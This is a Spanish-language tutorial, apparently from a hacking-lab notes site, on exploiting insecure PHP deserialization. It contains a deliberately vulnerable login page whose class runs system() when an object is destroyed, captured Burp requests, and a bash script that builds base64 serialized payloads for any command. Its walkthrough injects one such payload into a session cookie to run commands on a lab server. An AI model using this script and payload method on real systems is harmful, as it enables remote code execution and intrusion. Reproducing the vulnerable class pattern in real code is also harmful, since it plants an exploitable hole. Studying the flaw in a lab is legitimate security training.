Deserialización Insegura PHP

Pagina Vulnerable Deserialización Insegura en PHP

Si nosotros por ejemplo tenemos este codigo de PHP como una pagina por ejemplo:

index.php

<?php
// Clase vulnerable: al deserializar el objeto se ejecuta el comando almacenado en $cmd
class Vulnerable {
    public $cmd;

    public function __construct($cmd) {
        $this->cmd = $cmd;
    }

    public function __destruct() {
        system($this->cmd);
    }
}

// Función para verificar si las credenciales son correctas
function authenticate($username, $password) {
    $valid_users = [
        'admin' => 'admin',
        'user' => 'user'
    ];

    if (isset($valid_users[$username]) && $valid_users[$username] === $password) {
        return true;
    }
    return false;
}

// Si el formulario es enviado
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Recuperamos las credenciales del formulario
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    // Si las credenciales son correctas
    if (authenticate($username, $password)) {
        // Creamos un payload malicioso (cookie) solo para usuarios válidos
        $cmd = "echo 'Comando ejecutado exitosamente';";  // Cambia esto con el comando que desees
        $vulnerable_object = new Vulnerable($cmd);
        $serialized_object = serialize($vulnerable_object);
        $encoded_payload = base64_encode($serialized_object);

        // Establecemos la cookie con el payload
        setcookie('session', $encoded_payload, time() + 3600, "/"); // La cookie durará 1 hora

        // Redirigimos al usuario a panel.php después del login
        header('Location: panel.php?username=' . urlencode($username));
        exit;
    } else {
        echo "<p>Credenciales incorrectas. Por favor, inténtalo de nuevo.</p>";
    }
}
?>

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - Deserialización Insegura</title>
</head>
<body>
    <h1>Login de Usuario</h1>

    <!-- Formulario de login -->
    <form method="POST">
        <label for="username">Nombre de usuario:</label>
        <input type="text" id="username" name="username" required><br><br>

        <label for="password">Contraseña:</label>
        <input type="password" id="password" name="password" required><br><br>

        <button type="submit">Iniciar sesión</button>
    </form>
</body>
</html>

Vemos que no valida la entrada que se serializa y la deserializa lo que venga de forma insegura, ya que no tiene ninguna medida de seguridad como por ejemplo una implementacion de JWT, si entramos a esta pagina veremos lo siguiente:

El usuario por defecto sera el siguiente:

user:user

Ingresamos las credenciales y abriremos BurpSuite para recargar la pagina con la sesion iniciada del usuario user y veremos lo siguiente en la peticion con BurpSuite:

Peticion de BurpSuite

GET /panel.php?username=user HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://172.17.0.2/
Connection: keep-alive
Cookie: PHPSESSID=r5gbqlkt226hdgitiv4q5jekou; session=TzoxMDoiVnVsbmVyYWJsZSI6MTp7czozOiJjbWQiO3M6Mzg6ImVjaG8gJ0NvbWFuZG8gZWplY3V0YWRvIGV4aXRvc2FtZW50ZSc7Ijt9
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Vemos que la serializacion esta en session= por lo que tendremos que reemplazar su contenido, por otro codigo serializado con el comando que queramos ejecutar.

Generar Payload Serializado en Base64

Nos crearemos un script en bash para generar codigos serializados:

exploitSerial.sh

#!/bin/bash

# Verificamos si el usuario pasó el comando
if [ -z "$1" ]; then
    echo "Uso: $0 '<comando_a_ejecutar>'"
    exit 1
fi

# El comando que queremos ejecutar, recibido como argumento
COMMAND=$1

# Creamos un archivo PHP temporal con el código que genera el payload
cat > /tmp/serializable_payload.php <<EOF
<?php
// Clase vulnerable: al deserializar el objeto se ejecuta el comando almacenado en \$cmd
class Vulnerable {
    public \$cmd;

    public function __construct(\$cmd) {
        \$this->cmd = \$cmd;
    }

    public function __destruct() {
        system(\$this->cmd);
    }
}

// Creamos el objeto vulnerable con el comando proporcionado
\$vulnerable_object = new Vulnerable("$COMMAND");

// Serializamos el objeto
\$serialized_object = serialize(\$vulnerable_object);

// Mostramos el objeto serializado en Base64
echo base64_encode(\$serialized_object);
EOF

# Ejecutamos el archivo PHP y obtenemos el payload en base64
payload=$(php /tmp/serializable_payload.php)

# Limpiamos el archivo temporal
rm /tmp/serializable_payload.php

# Mostramos el payload
echo "Payload Base64: $payload"

Ahora lo ejecutaremos de la siguiente forma:

bash exploitSerial.sh 'touch /tmp/exploit.txt'

Info:

Payload Base64: TzoxMDoiVnVsbmVyYWJsZSI6MTp7czozOiJjbWQiO3M6MjI6InRvdWNoIC90bXAvZXhwbG9pdC50eHQiO30=

Enviar Payload al servidor

Ahora este resultado tendremos que pegarlo en la peticion donde session= quedando de la siguiente forma:

GET /panel.php?username=user HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://172.17.0.2/
Connection: keep-alive
Cookie: PHPSESSID=r5gbqlkt226hdgitiv4q5jekou; session=TzoxMDoiVnVsbmVyYWJsZSI6MTp7czozOiJjbWQiO3M6MjI6InRvdWNoIC90bXAvZXhwbG9pdC50eHQiO30=
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Ahora si enviamos la peticion veremos lo siguiente en la pagina:

Vemos que algo ha sido modificado, por lo que podemos deducir que si ha funcionado correctamente.

Vamos a irnos al servidor para comprobar que ha funcionado la deserializacion y que se ha ejecutado de forma correcta en el servidor:

Vemos que ha funcionado, por lo que podremos generar payloads y ejecutar codigo de forma remota.

Last updated